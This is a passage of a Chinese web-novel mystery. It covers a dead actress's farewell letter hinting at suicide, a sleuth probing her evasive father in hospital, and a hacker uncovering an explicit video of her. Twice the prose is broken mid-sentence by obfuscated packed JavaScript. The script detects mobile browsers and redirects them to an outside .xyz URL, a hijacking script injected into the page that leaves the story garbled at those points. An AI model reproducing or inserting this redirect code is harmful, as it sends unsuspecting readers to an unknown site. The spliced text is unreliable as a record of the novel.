［帮我治疗心理问题的这位月先生真是个厉害的人物。我不确定他知道了多少，也不知道他是怎么知道的，但是至少他确实给了我一个方向性的意见。］ ［他说，如果我有一些不敢当面对人说出口的话，那么我就可以写下来，悄悄塞给那个人。］ ［我对很多人都有想说却不能说的话，那些话即便是写到纸上传达，也绝对是不可以的……唯独对你，我多少有一些可以写下来告诉你的东西。］ ［——］ ［Oh my god，我真的是不知道该拿自己怎么办才好了。］ ［我明明都已经呼之欲出了，可手总是不听话一样，不愿意配合我把它写出来。］ ［可能还是我懦弱吧，真是的好纠结……］ ［好吧，既然笔都已经拿在手上了，我也只好死马当活马医，试试看能写出多少来了。］ ［这么多年以来，我和你的关系一直算不上好，这是人人有目共睹的事情。之前我和尤奇谈恋爱的时候，他还问过我，怎么会有相敬如宾的父女？这个关系多么奇特啊……］ ［其实你也应该知道吧？我从来都不会叫你“老爸”，这是因为我从很多年以前就开始讨厌你了，因为关于妈妈的缘故。］ ［不要说我冤枉你，我从很多方面调查过当年妈妈出车祸的事情——就是你策划的对不对？我知道妈妈是自愿的，但是你到底是怎么敢的？妈妈当时已经怀着我了，她还患有隐藏性心脏病，万一她真的出事了怎么办？你不会担心吗？不会愧疚吗？］ ［为了保全你的名声和地位，你就真的想杀死妈妈吗？］ ［我十几岁的时候就在想，如果是因为怀孕的事情，那让妈妈把我打掉不就好了？为什么要牺牲掉她的一切呢？］ ［很多年后我才知道，那是因为你害怕承担责任。］ ［当时流言蜚语已经漫天高涨了，你们非要策划一起意外，让其中一个人消失在大众的视野中不可。］ ［这个人当然不能是你，所以就只能是我妈妈了——你一直都是是这样想的，没错吧？］ ［这么多年过去了，你有没有后悔过呢？如果当年那辆车没有真的撞到她，妈妈可能现在还活着……噢我忘了，那是不可能的……有你在，那辆车怎么可能不撞到妈妈呢……］ ［事情发展到现在，我也不想再怪你什么了。］ ［纵然你对不起妈妈，可你毕竟没有对不起过我，我好像也没有什么资格硬抓着你不放。］ ［——以上是我想要跟你说的。］ ［除此以外，还有一些事情藏在我心底的最深处，是我不打算告诉任何人（包括你）的。］ ［就这样吧，或许没有人知道也是好的。］ 舒远山翻到这张信签纸的背面。 ［本来我想说的话到上一面就已经结束了。］ ［就算只有那些，我也还是不敢把这封信拿给你看。］ ［可是就在刚刚在我准备把这张纸撕掉的时候，月先生又跟我说话了。］ ［他说：“既然你已经准备把信撕掉了，那不如干脆就把烦心事一口气写出来好了。你把这封信藏在家里，如果你担心的事情真的发生了，那么来你家里的人一定会发现这封信的。到时候你不敢说，但是又担心被蒙尘的事情就一定会有人知道了。”］ ［我还没有说我的心事是什么呢，但是好像已经全部都被他全部猜到了。这个人真是神奇。］ ［我又想了大概五分钟吧……我决定参考他的意见，但是会换种方式处理这封信。］ ［如今我也没有什么好怕的了。］ ［有些话，还是要说出来的——］ ［事情是这样的。］ ［我阴差阳错去到了一个地方，那是一个一般人难以去到的地方。］ ［我在那里看到了一些事情，还认识了一个人。这个人好像很喜欢我，她说以后要送给我一个超乎寻常的礼物……没想到这么快，我就要继承到那个礼物了。］ ［先不说这些后话了，我真正想说的，其实是另一件事。］35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357029|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ［这几年我谈了恋爱，本来以为就算不成，也会有一个不错的结局，但那终究只是我天真的臆想——注定无果的种子，早在九年前就已经被我亲手种下了。］ ［我从那年开始活得像老鼠，总是出入在见不得光的地方，做着见不得光的事情。］ ［七年前大错已经铸成，我永远也无法逃脱这双罪恶之手。］ ［或许只有死亡，才有可能使我们脱离这一地狱一般的光景。］ ［时间差不多了，我明天还要去参加一个杀青仪式，今天晚上仔细想想，明天也是时候做个了断了。］ ［不知不觉已经快到六点半了，我也不知道该怎么留别人吃饭。月先生该回去了，我也不好强留他……然而他一旦离开这里，我估计我就也不会再碰这封信了，说不定还会忍不住把它毁掉。］ ［为了让这封信被人看到，我决定请他帮忙保管。我会跟他说，假如我遇到了什么事情，再也没有办法跟他联络的那一天来临，就请他把这封信交给一个人。］ ［出于我不想让这封信蒙尘，但也不打算给任何人看的矛盾心理作祟，我不会告诉月先生我要给谁……最后无论他把这封信给谁，或者干脆是他自己拆开来看了……一切都随缘吧。］ ［To看到这封信的人——］ ［请保存好我的绝笔……或者，把它毁掉也是可以的。］ 舒远山把信折叠起来，放回信封里。 “小月先生之前看过这封信吗？” 月栀酒打哈欠打到一半，听到眼前人的提问，对他的的态度略微有些不满。 “舒老先生的这句话很耐人寻味啊，我的人品虽然算不上有多好，但也不算太差吧。我答应了舒久月不会偷看，在非极端情况下都是不会食言的，舒老先生觉得我这两天像是经历了什么极端事件的样子吗？” 舒远山清楚自己的上一句话有点质问别人的意思，下面一句话就放缓了语调。 “你知道我不是那个意思。小月先生，我只是想问你，既然舒久月没有跟你说过她想把信给谁，你为什么会想到要把这封信给我呢？” “奇门遁甲……” 月栀酒来之前就预料到了舒远山看完信后肯定会问这一类型问题，所以他以迅雷不及掩耳之势抛出了这个试探性的答案。 他发现舒远山的下意识反应并不是震惊，而是在认可答案。片刻之后，他的表情才在理性的控制下转为了震惊，用极其逼真的演技发出了一声：“啊？” 月栀酒把他的这一系列反应和木沐到他家里偷东西的行为联系了起来，产生了一个天马行空的设想。 他来的目的已经达到了，笑着跟舒远山解释，“哈哈哈，开玩笑的啦……我怎么说也是学心理学的，还跟舒久月近距离接触了两个多小时，当然知道你这个父亲在她心里虽然不称职，但也并没有缺位。好歹你也是她唯一在世的亲人，她跟别人的关系再好，能比得过跟你血缘上的亲近吗？” 舒远山还想问一些问题，但月栀酒用看手表的姿势看了眼空荡荡的手腕，夸张地说：“哎呀，这么快就到午饭时间了……欸，舒老先生想说什么？难道您想请我们吃饭吗？” “我……” 月栀酒根本没打算给舒远山接话的机会，抢着就把话给圆了回去。 “这怎么好意思呢？刚刚您还有话没跟张经理说完吧？打扰你们说话真是太抱歉了……小张同志，你怎么还坐着呢？人家有私事要谈，你一个外人坐在这里多不方便呀，快走啦！” 张小元赶忙应着跟了出去。 “小……” 舒远山试图叫住月栀酒，被他一句“舒伯父，我们就先走了啊，我会再来拜访你的”给挡回去了。 12. 奇门凶杀案 走进向下的电梯，月栀酒客套的笑容瞬间就消失得半点不剩了。 他掏出手机，不知道是在跟谁打电话。 “喂，我请你吃饭，地点你定，三分钟之内给我具体位置……对，带上你的装备……好，一会儿见。” 他们到了一楼，月栀酒又一个电话让司机把车开出来，转头对张小元说：“小元同志，我最近手头有点紧，恐怕不能请你吃午饭了。不过我记得高队长好像是前几天才领的奖金，他手头充裕，你可以去找他蹭饭啊。” 司机好像很了解月栀酒，早就把车开到附近等着了，还没等张小元做出反应，那流光色的新款保时捷就已经开到面前了。 月栀酒跳上车的副驾，从车窗伸出手来冲张小元喊：“拜拜～” 没有主人的许可，张小元也没办法上别人的私家车，只能呆呆地愣在原地看着车身逐渐远去。 恰逢此时，李晓音的电话终于打了过来。 “——hello，小元同学，我们审完人啦，你那边怎么样啊？” “晓音姐，来不及了，你刚好晚了一步。” “——什么晚了一步？” “唉，月先生已经把我甩掉了……” 李晓音听到张小元的声音已经很委屈了，她也知道月栀酒不是一个好对付的主，自然不会去怪张小元没有看住人。 她简单跟忙着在白板上写写画画的高琴说明了一下情况，得到了领导的示意后，她用一种轻快的语气继续跟张小元讲电话。 “——被甩了就回来呗，又不是什么大不了的事儿，谁没被甩过几次呀……刚好我们要开饭了，你要是回来晚了，就只有剩饭了哟。” “可是没有人跟着月先生，真的没有关系吗？” “——高队说没事那就是没事啦，你做着小兵的工作，操什么将军的心啊……我可告诉你，你要是想哭的话，就自己哭完了再回来，我们可没有功夫安慰你那颗幼小的心灵。” “晓音姐，我怎么可能……” “——好了，不说了，快点回来，拜。” —————— 刚离开医院，拐了两个红绿灯，月栀酒就开口说话了。 “开回去。” “什么？”司机还以为是自己听错了，不确定地问道。 “回中医院去。”月栀酒又重复了一遍。 司机从来都搞不懂月栀酒这位大少爷的想法，反正他也只是个司机，听命行事就可以拿到工资，不需像管家一样顾虑主家的心思。 他听从月栀酒的命令，把车开回了医院。 经过五分钟前才刚离开的地方时，司机发现那个叫张小元年轻人已经走了。 出于打工人的职业素养，他从不多话，只是按照月栀酒的吩咐，将车子停在了一个比较隐蔽的车位。 “先不要走，在这里等我一下。” 月栀酒说完就下车了。 …… 到现在为止，才是重头戏的开场。 月栀酒从一楼就可以看到舒远山病房的窗帘被拉上了，心里有了底，遂火速按了电梯上去。 他走到1010号VIP单人病房门口，果不其然，病房的门是关上的。 通过门上的透明玻璃，月栀酒可以看到张一发和两个护工都已经离开了。按照木沐给他的体检规划表来看，舒远山过会儿就要按例接受健康检查，所以现在没有锁门的。 月栀酒轻手轻脚开了门走进去。 病床上传来轻微的鼾声。 看来舒远山已经睡着了。 月栀酒才离开了不到20分钟，舒远山到底是有什么大事，连午饭都顾不得吃了，非要把人赶走了忙着睡觉不可？ 他的眼睛上蒙着一个有新中式刺绣图案的蓝色眼罩。 月栀酒记得自己好像也有这么一个小玩意儿，但是忘记放到哪里去了。 他坐到舒远山身边，伸手探上床上病人的脉搏——舒远山睡得很沉，沉得就像是晕厥了一样。 负责舒远山的护士小姐也在此时推门进来。 “咦，张经理和护工大姐都不在啊？您是这个大叔的亲人吗？他吃午饭没有？他是不是昨天晚上没睡好啊，怎么这么早就睡了？” 月栀酒回：“不知道，我也是才刚到不久，这是我朋友的父亲，我来的时候就他就已经睡着了。” “噢，是这样啊，那我还得叫醒他问一下，饭前饭后的测量指标是不一样的……” 月栀酒拦住了护士小姐，“请问一下，舒老先生平常睡午觉的时间都是固定的吗？” “嘶……不知道啊，应该是吧。”护士小姐打开病床旁边的某个检测机器，“他每天下午两点到五点，晚上九点半以后到第二天早上八点都是锁着门的，应该不是在睡觉就是在看书吧。他好像还是个名人呢，不喜欢别人打扰也是正常的。” “哦……”月栀酒偏过头去问：“需要我帮忙吗？” “不用了，你忙你的就行。” 护士小姐弯腰去拍舒远山，“大叔，我们先起来一下，检查完了再睡。” 舒远山真的像是晕厥了，对护士小姐的呼唤没有半点反应。 “奇怪了，”护士小姐问月栀酒，“他是不是……唉，你刚到是吧？” “是的。” “那你有没有那个张经理或者护工大姐的电话，你帮我问问他们，这个大叔有没有吃过安眠药，或者有熟睡副作用的药品什么的？这种东西可不能乱吃的哦！” “哎呦，这个我还真是……”月栀酒说到一半，猛然间想起来张一发给他的名片，把话绕了回来，“我还真知道一点。” 因为暂时不想让别人知道他回来了，所以月栀酒把名片交给护士。 护士小姐拨通了张一发的电话。 “喂，你好，是张经理吧……啊对，是我小王，你们今天怎么这么早就走了……我是想问大叔有没有吃午饭啊，因为……没吃啊，好，还有就是他睡着了，睡得还很沉，你知不知道他有没有吃过什么安眠类的药物……你也不知道啊，这个还是要注意一点的……嘶，这就有点不好办了，要不然我问一下护工大姐呢，你有她们的联系方式吗……哦，好吧，我知道了……好的好的，麻烦你了。” 护士小姐挂断电话，月栀酒问：“张经理怎么说？” “帅哥，帮我翻找一下这大哥床头柜里有没有安眠……算了，我自己来吧… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357030|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 护士扒开月栀酒，在床头柜的抽屉里翻找起来，边找边跟他讲电话里的内容。 “张经理说他也不知道，大叔好像有心事，就把他们提前赶走了。他吃的药都在床头柜里，张经理让我自己找找，反正他记得大叔的睡眠质量没有问题，他和护工大姐都没有帮大叔开过安眠类的药……那个，帅哥，你再试着叫一下他吧。” 月栀酒点头，绕到病床的另一边去叫舒远山。 “舒老先生……舒伯父……舒远山……不是吧，大叔你别碰瓷啊，我胆子很小的。” 月栀酒看着无论如何都叫不醒的舒远山，觉得自己的这个回马枪真的是杀对了，舒远山一定有什么不可言说的秘密是和舒久月的死有关的。 “这里看起来也没有安眠药呀。”护士小姐说。 “要不还是找医生来看看吧，这也不像是安眠药能吃成的样子啊。”月栀酒装成心有余悸的样子，无比担忧地说：“可别真是出什么事了，我只是来帮朋友来看看她老父亲的，这要是出了什么意外，我这没法儿跟人交代呀。” “也是，我去找医生，帅哥你帮忙看着点啊！” “好好好，我看着，你快去。” 护士跑出去叫人之后，月栀酒坐过去病床对面的沙发上，单手杵脸盯着舒远山看。 …… 也就在十几秒之内，舒远山突然一个激灵，像是做了噩梦一样陡然惊醒，一把扯掉了眼罩。 “月栀……小月先生，你怎么又回来了？” 他看到月栀酒，布满阴霾的脸上又立时戴上笑容面具。 这一幕就像是电影照进了现实，看得月栀酒都罕见的来了兴趣，他情不自禁地调侃了舒远山几句。 “哟，舒老先生您可还好啊？刚刚怎么叫您都叫不醒，可是把我和人家护士小姑娘都吓惨了，您瞧瞧，我这脸色到现在都还是煞白煞白的呢。” 月栀酒反手指了指病房门口的方向，“我友情提醒您一句，人家护士小姐可是吓得去找人了。一会儿她把医生叫到面前，您却突然没事了，不知道是您亲自跟人家说明情况呢，还是需要我代您说明呢？” 舒远山状似无奈地叹了口气，“我自己来说就好了。” “那我就坐在这儿等会咯，等您什么时候应付完了麻烦事儿，咱们再继续唠，您觉着怎么样？” “好啊。”舒远山望着不远处完全没有着急模样的月栀酒，意味不明的这样答道。 …… “对对对，1010号VIP单人，孙医生，就是这里……” 月栀酒听到门外焦急的脚步声，露出了一抹看热闹的微笑，他想：舒远山呀舒远山，你因为着急露出的马脚可有点危险啊，你确定想好要怎么解释了吗？ 舒远山同时也想到，眼下最难对付的根本不是什么经验丰富的医生，而是沙发上那个看似人畜无害、还有一副富家纨绔子弟长相的月栀酒。 他们两个人眼神对上的一瞬间，月栀酒脑海中奇迹般的闪过了一些类似电影桥段的影像碎片。 这些影像里貌似有他本人和一些从未见过的人的身影，还有一些感觉异常真切经历，但是月栀酒居然半点都记不得了。 13. 奇门凶杀案 “孙医生，快点快点，这个病人晕……”护士小姐晕字说到一半就顿住了。 这个看起来比她还健康的病患是什么鬼？ 医生满脸焦急地来，也跟护士一起懵在原地。 护士小姐转头才找到了坐在老远沙发上的月栀酒。 月栀酒耸肩摊手，活脱脱一副啥也不知道的模样，“别看我，我跟他不熟，我也不知道发生了什么。他刚刚突然就‘诈尸’了，我也被吓得不轻，你们还是检查一下吧。” …… 要不怎么说月栀酒觉得舒远山不简单呢？ 短短25分钟之内，舒远山就连配合带忽悠，让在场的医生护士都认为他只是一个因为意外而妻离子散的可怜人。 大家都本能的站在弱者那边，舒远山把人设立起来之后，要想搪塞这些并不专业的审问实在是太容易了。 所有人都离开病房后，月栀酒用非常佩服的表情夸张地笑着鼓掌。 “不愧是舒老先生啊，真是让在下大开眼界！” 按理说月栀酒的行为举止已经极其挑衅，就差蹬鼻子上脸了，但是舒远山的微笑面具还是没有出现半点裂痕。 “小月先生，你这个回马枪杀得我有点猝不及防呀，你究竟是想从我这里得到什么呢？不妨直说，我年纪大了，身体有点经不起这些‘惊喜’。” 月栀酒坐到他旁边的椅子上，笑容不输舒远山的危险。 “既然都受不了了，您为什么不生气呢？” 舒远山见招拆招，“我应该生气吗？” 月栀酒拉开窗帘缝隙望着天，察觉到了死亡逼近的气息，他已经没有时间继续和舒远山假客套了。 “我出去的时候就在想，正常人听到亲生女儿被人杀害的反应是什么样的呢？后面我得到了一个结论——就算是关系冷漠，或干脆是关系很差的父亲听到孩子的死亡也不会是您这个样子的。” “那请问小月先生，我几十分钟前是做了什么，竟惹得你产生了这样的想法？” “你说你见过我，是什么时候的事？” 舒远山没有一口气回答上来，而是想了想，“大概是一个月前吧，我是在……” “在哪里？”月栀酒强调了语气追问，他当然知道舒远山编不出一个天衣无缝的谎。 “我真的是在、”舒远山想到了什么，一时语塞了，“在……” “想不起来就算了。事实上，我两个月前不幸被车撞了，半个月才出的院，而我接受治疗的是永生市第三医院，治疗期间未曾踏出医院一步。那么舒老先生，您又是怎么见到我的呢？” “啊或许……是我记错了吧。” “所以是什么时候呢？半年前？一年前？两年前？” 月栀酒步步紧逼，连续提问了几个时间节点，很快就通过舒远山的表情做出了判断。 “哦，是两年前。可是两年前我在做什么呢？我好像才刚毕业不久，还在德佳市那边学着做生意呢，还开了家小不点公司。因为我母亲是中俄混血，所以我当年有大半的时间都在俄罗斯和我母亲在那边的产业建立联系，从未来过永生。而那时，舒老先生您已经身处永生市中医院1010号VIP单人病房——也就是这里了。需要我帮你盘点盘点你一共出去过几次，又分别去过哪里吗？” 精明如舒远山，这下也有口难辩了。 “不是……” “你想说也不全是假的对吧？我相信，但是半真半假的谎言也是谎言，而且往往比彻头彻尾胡编乱造出来谎言更难以破解，让人讨厌。所以哪部分是真的呢？你不说没有关系，我也不想听你说了什么，不如让我来猜猜吧…… “你根本就没有见过我，只是听说对不对？时间点都是真的，也就是说你不止听说过我一次，保守估计至少有两次。因此你还专门了解过我，并且对我抱有好感，所以才会一而再再而三地容忍我的挑衅……哈哈，我好像说得有点多了，不过我说的这些，可有哪里与事实不符？” 焊在舒远山脸上的面具终于还是出现了一丝裂缝。 他做了一番思想斗争后，缓缓地吐出两个字：“……没有。” “舒老先生，其实我对你完全不感兴趣的，我刚刚这么潦草地胡乱分析一通，本质也只是想做个铺垫。正如你跟我说话的时候漏洞百出一样，在我今天一踏入这间病房时候，你的伪装就已经彻底失效了。” 窗外乌云遮蔽了天空，空气闷热、蜻蜓低飞，这是要下雨的前兆。 “今天早上警察给你打电话说舒久月惨剧的时候，你一定做了一段时间的思想斗争，同时也产生了一个猜测。当然，我没有办法知道这个猜测是什么……同时也因为你并不知道你的这个猜想是否靠谱，所以你叫来了在你的要求下，对舒久月一直都有严密关注的张一发。 “在我闯进来之前，你都还没有办法确定你的猜想，而在看到了我给你的那封信之后，你就非常坚定地肯定了那个猜想，以至于你连午饭后的健康检查都等不及，匆忙赶走了所有人。可是你在做什么呢？戴了个眼罩睡觉？ “通过舒久月本人的反馈，以及你这么多年对她的付出来看，你和舒久月的感情肯定算不上好，但也并不冷淡。你还是很关心她的。” 舒远山的心理防线开始绷不住了。 “小月先生，你到底想说什么？” “你还不明白吗？我在等你说话呀！” “等我说什么？” 月栀酒一发毙命地直击了连舒远山都没有把握射准的答案靶心。 “信息差。我有很多因为信息差而问不出来的问题，我在等你告诉我答案啊……” 舒远山的瞳孔不受控制地骤缩了一瞬，脑子里想了无数个回答，可是竟然没有一个是能让他自己满意的，就更别提拿去对付月栀酒了。 月栀酒翘着脚，就这么不急不躁地像狼盯着猎物一样，颇具玩味地盯着他，看得舒远山后背升起了一股寒意。 有了！ 如果他不能说出令月栀酒满意的答案，那么就让月栀酒去找能说出令他满意答案的人不就好了吗？ 没错，就这样办。 舒远山咽了咽口水，踌躇着说出了一个地名——“「天医山庄」。” “哦？”月栀酒象征性地回了他一声。 “任何导航软件都可以搜到，离这里只有两个小时的车程，一天足够往返。” “所以呢？重点是什么？” “你可以去那里找一个人，她的名字叫巫漓儿。只要你找到了她，所有答案都会浮出水面。” 月栀酒听见舒远山话里话外暗藏了不少前置条件，语气很不肯定的样子，很不耐烦地活动了一下脖颈。 “听您这意思，就算我真花了这么多时间跑过去一趟，八成也是也落个空吧？” 舒远山学着古代老者 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“得，我算是明白了，有人酷爱装睡，我却偏要不识抬举地把人家给叫醒，这确实有点不太礼貌——您是这个意思吧？” 舒远山抬手挡住光线，不客气地刺了回去，“小月先生聪明绝顶。” “别了，这种祝福还是留给您自个儿吧。”月栀酒摆摆手，转过身去就往外走。 他走出去的时候，余光瞥了眼舒远山。 这小老头怎么如此滑稽？好戏已然落幕，月栀酒再跟他针尖对麦芒有什么意义？ 他只是懒得处理人际关系，又不是对此一窍不通。舒远山这种上赶着找话说的人格说白了就是戏精上身，天生爱演，月栀酒何苦自找麻烦，留在这里跟这种动不动就给自己加戏的人周旋？反正他原本来舒远山这里就只是路过，没有人会在戏剧片场外浪费掉重头精力。 “您继续睡着吧，小爷我可是跟人约好了要去吃大餐的呢……” 他随手带上病房门，打着电话下楼去了。 ………… 舒远山在窗子边确定月栀酒的车已经开出了医院后，也拿出手机，拨通了一个人的号码。 “巫小姐，是我，舒远山。这件事情我实在是应付不过来，只好让他去找您了……呃但是我不知道您的具体身份和地址，只能按您的吩咐，让他去「天医山庄」找您。” 电话那边的女声迟迟没有说话，也没有挂断电话。 “巫小姐……您听到了吗？您在不在「天医山庄」？需要我再做点什么吗？” 那道女声语气平平，但听起来却格外瘆人：“闭嘴吧，白痴。” 电话被挂断了。 舒远山把电话从耳边拿到眼前，久久无法回神，他怎么也想不通巫小姐这话的意思。 ………… 月栀酒也把右手伸进遮住耳朵的头发里，把耳机摘了下来。 “头疼，居然比那两个小家伙发现得还快。” 他伸了一个很不舒服的懒腰，望着天感叹道：“究竟是我学艺不精，还是永生人均智将……世界发展得这么迅速吗？以前怎么就没有这么容易被发现呢？” 司机装聋已经快装不下去了，他在心里呐喊——你要么别说话，要么说了别让我听见！你现在这样是几个意思？难道是想让我把耳朵割了不成？你们这些富家子弟都他妈有点什么大病！ 14. 奇门凶杀案 月栀酒下来的时候跟云小五确认过餐厅位置，当时对方就已经坐在包间里等着他了。 据月栀酒所知，云小五是一个野生黑客，今年26岁，和他同年出生。 月栀酒10岁的时候他们就认识了，只不过后来云小五出国进修，直到23岁才回来。他如今在月栀酒手底下做兼职，月栀酒也从没问过他的本职工作是什么。 ………… “小五同学，菜上齐了没有啊？” 云小五蹲在圆桌旁的茶几旁敲电脑。 他听到月栀酒比脚步还快的声音，眉毛不受控制地抽搐了几下，没管笔记本电脑和鼠标，跳坐到沙发上跟月栀酒打招呼。 “大哥你瞎吗？桌上分明就只摆了凉菜呀……诶，别问我为什么，因为你每次都玩迟到，我哪里敢提前上菜啊？” “看不出来嘛，你还挺细心的。” 月栀酒按了铃，让服务员过来上菜。 “毕竟是你老人家请客吃饭，这些东西我多少还是得考虑一下的。” “有进步，”月栀酒坐到云小五旁边，“那你有没有想出来我今天叫你过来的目的呀？” “进货呗，喏，都给你带来了。”云小五拍了拍自己的背包，“我知道你有钱任性，但是窃听器和定位器都不是一次性的东西，你好歹也回收再利用一下嘛……” “我说云小五同志，从什么时候开始连你都可以对我说教了？” 云小五的江湖地位确实和月栀酒差得有点多，而且人在屋檐下，不得不低头，他意识过来之后，连忙用开玩笑的语气道歉加闭嘴，一级一等的识趣。 “sorry啊，酒哥，我最近失恋了，心情有点糟糕……” 月栀酒吃瓜群众的本能瞬间爆发，一脸坏笑地问：“还是二队的那个法医周大姐啊？” “什么大姐？六姐才30岁，意气风发着呢！” “是是是，周六看起来确实挺年轻的，不过你们好说歹说也谈了快两年，怎么说分就分了呢？怎么分的？说出来让我高兴一下呗。” 月栀酒眨着眼睛，满脸期待，云小五却一下子红了脸，脸色像是服务员端上来的那盘小龙虾，格外害羞的样子。 他把脸别过去，插科打混道：“不、不是，有你这么当老板的吗？这、这员工的私人生活你也打算要干预一下不成？” “嘿，别以为你把脸扭开就能瞒天过海，你忘记我的手段了吗？” “不行啊！”云小五刚喊完，声音就虚了下去，“酒哥，你承诺过我……不干涉我自由恋爱的……你现在要是反悔了，可有碍你一言九鼎、驷马难追……风度翩翩、多才多艺……呃，的江湖形象……” “得了吧你，本来也没学过几个成语，谁教你这么乱用的？” 月栀酒逗云小五逗得很开心，不过前菜时间结束，也该上正餐了。 “好了，不逗你了，我叫你过来是有正事的。” 云小五松了口气之余，还不忘拍月栀酒马屁，“我就知道酒哥你是一个体贴员工的好老板！有什么问题你就说，在下一定效犬马之劳！” 月栀酒听到这句话，不禁倒吸了一口凉气。 他不止一次想告诉云小五他说话的方式很奇怪，但又想到他小小年纪就出国学习了，中文蹩脚一点也正常。 云小五回来的这两年，他和高琴警队里的法医周六看对了眼。周六原本从小就想当语文老师，阴差阳错之下才成了法医。月栀酒不难猜到，她一定是教了云小五不少成语，才会让他的中文听起来这么不伦不类。 不过云小五的其中一句话说的不错，他只是一个平平无奇的老板，只要员工业绩好看，其他的他也都管不着了。 “我记得你的编程老师好像是俄罗斯的吧？” “对呀。” “那你有没有听说过木沐？他似乎也是在俄国学的技术，本事还不差，在那边的圈子里应该还算有点名气。” “太听过了！”云小五狂点头，“这是我小师叔的名字嘛。” “小师……叔？” 服务员上完了菜，把包间的门关上。 月栀酒在餐桌上对齐了筷子，一边想着云小五和木沐两个人的年纪，一边挥挥手招呼云小五过去吃饭。 云小五26岁，木沐才20岁。 这小师叔的辈分有点大呀。 “对啊，就是小师叔，我老师跟我提过他很多遍呢。哦，好像不只是他，还有他们集训时候的集训官。我老师说他们天赋异禀、天姿……呃，中文怎么说来着，反正就是聪明得要死了……” 月栀酒实在是听不下去，纠正道：“你是不是想说天资卓然？” “啊对，一个意思嘛。听说那个集训官也超级天才，她好像就是教我小师叔的老师，这两个人都是我的偶像！酒哥，你是不是认识他们？可不可以帮我引荐一下？” 看见云小五激动地连筷子都拿不稳了，月栀酒夹了一颗用于装饰的花生放进嘴里，脸不红心不跳地开启了忽悠模式。 “认识，当然认识，我们关系可好了。但是，如果要引荐的话，第一是人家这么忙，第二是……” 月栀酒故意放缓了语速，引诱云小五追问。 “是什么？” 对于月栀酒来说，忽悠云小五实在是太容易了。他仰起头，佯装不乐意地说道：“我为什么要免费帮你引荐大佬啊？这好像只对你有好处，对我有什么好处？” 云小五自知玩不过曾经做过生意的小狐狸精月栀酒，不过好在他知道月栀酒刀子嘴豆腐心，竟干脆用撒娇卖软的语气哄月栀酒就范。 “好处很多的，酒哥……比如说，我就可以精进武艺，帮我的老板大忙啊。” “就这点儿好处，我还是很亏啊。” “那再比如说，我欠了你一个人情，以后为你工作也会更加卖力！” “难道你之前工作的时候不卖力吗？那看来是我之前给的工资有点高了，要不……” “哎呀，酒哥，求求你了！” 月栀酒用筷尖遥点了一下小龙虾，云小五瞬间领会精神，把小龙虾转到自己面前，“噢，酒哥，我突然想帮你剥虾了。” “嗯 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正如月栀酒所料，云小五现在被激动冲昏了头脑，根本什么条件都没有跟他谈，甚至连饭都没有吃饱就摘了手套，飞奔到月栀酒身边。 “酒哥你快吩咐我，快点快点，我有什么可以帮上忙的？” 月栀酒只说了三个字：“舒久月。” 云小五已经蹲到电脑前，开始敲击键盘了，“噢，我知道，是舒久月的案子吧？酒哥你又打算帮警察破案啊？” “对啊，有人盛情邀请，我好像也不太方便拒绝，所以……” “没问题，关于她的所有黑料白料我都能立刻马上给你找出来！酒哥你等我一下哦，我现在战斗力满满。” “是斗志满满吧。” “这两个意思差很多吗？” 月栀酒：“……” 算了，这两个词用在这里好像都不是很恰当的样子。 …… 月栀酒无聊地坐在沙发上嗑瓜子。 他看着云小五奋力敲击键盘，双脚蹲到腿麻以至于索性坐到地上的背影，觉得他的行为举止居然真的跟木沐有异曲同工之处，只是速度比木沐要稍微慢一些。 …… 大概过了不到30分钟，云小五的神情突然一下子就严肃了起来。 “酒哥，我不追星，但是你说大明星刚出道时偷偷做艳星的情况常不常见啊？” “你这话怎么跟开玩笑似的？艳星想转型别提有多难了，只要不是刀剑加身，谁会自发地去干这种事？” 月栀酒坐直身子，他自然想到了云小五这么问的潜台词，从心底萌生出一股不祥的预感。 “那如果是……还要更开放一点的呢？” 云小五把电脑转过来。 月栀酒正好看到了笔记本电脑屏幕上那绝对少儿不宜的视频。 那视频上的中心人物，正是身上只裹了几条碎布，关键部位都没有被遮盖起来的舒久月。 15. 奇门凶杀案 视频只有两分钟，似乎是从某个长视频上截取下来的“精彩片段”。 这段剪辑下来的视频里至少出现过三个男演员，什么捆绑、调教、暴力……所有不该发生的事情全都发生了。 云小五虽然关掉了声音，但只谈过一次恋爱的云小五和干脆就是母胎单身狗的月栀酒都有点不忍直视。 “酒哥，这可是没有经过任何PS处理，纯原生态的视频……我是不是发现了什么不得了的惊天大秘密？我要不要把这些东西交给警察叔叔？你认不认识扫黄组的警察啊？” “把这段视频考给我，然后换个方向查。” “啊？为什么？” 月栀酒脱了鞋子，在沙发上盘起脚。 为什么？答案还不够显而易见吗？连云小五都能很快找出来的视频，木沐怎么可能查不到？既然木沐有意隐藏起来了舒久月的这段黑历史，那他也很识趣，不追查下去就是了。 “查了也没用，发这个视频的账号肯定不会用真名，就算用了真名也不一定能找到原视频的地址，费时费力还难有结果的东西，我认为没有投入的必要。” 云小五试着理解了一下，“……好吧，你这样说我就能理解了。那你有没有调查的方向，或者想优先知道的事情？” 云小五问出这个问题问的瞬间，包间一角的一个装饰灯闪烁了一下。 这片空间里微弱的变化被月栀酒成功捕捉到了。 “你要是这么问的话……” 连警方都不知道凶手的线索，月栀酒怎么可能知道？ 然而在这种时候，民间的偏方往往出奇地奏效。 月栀酒方向感极佳，在一般情况下，他不用指南针也能分清八方的大概位置所在。装饰灯闪烁的位置为东北方，断人事用后天八卦，东北方为「艮」，意为幼子。 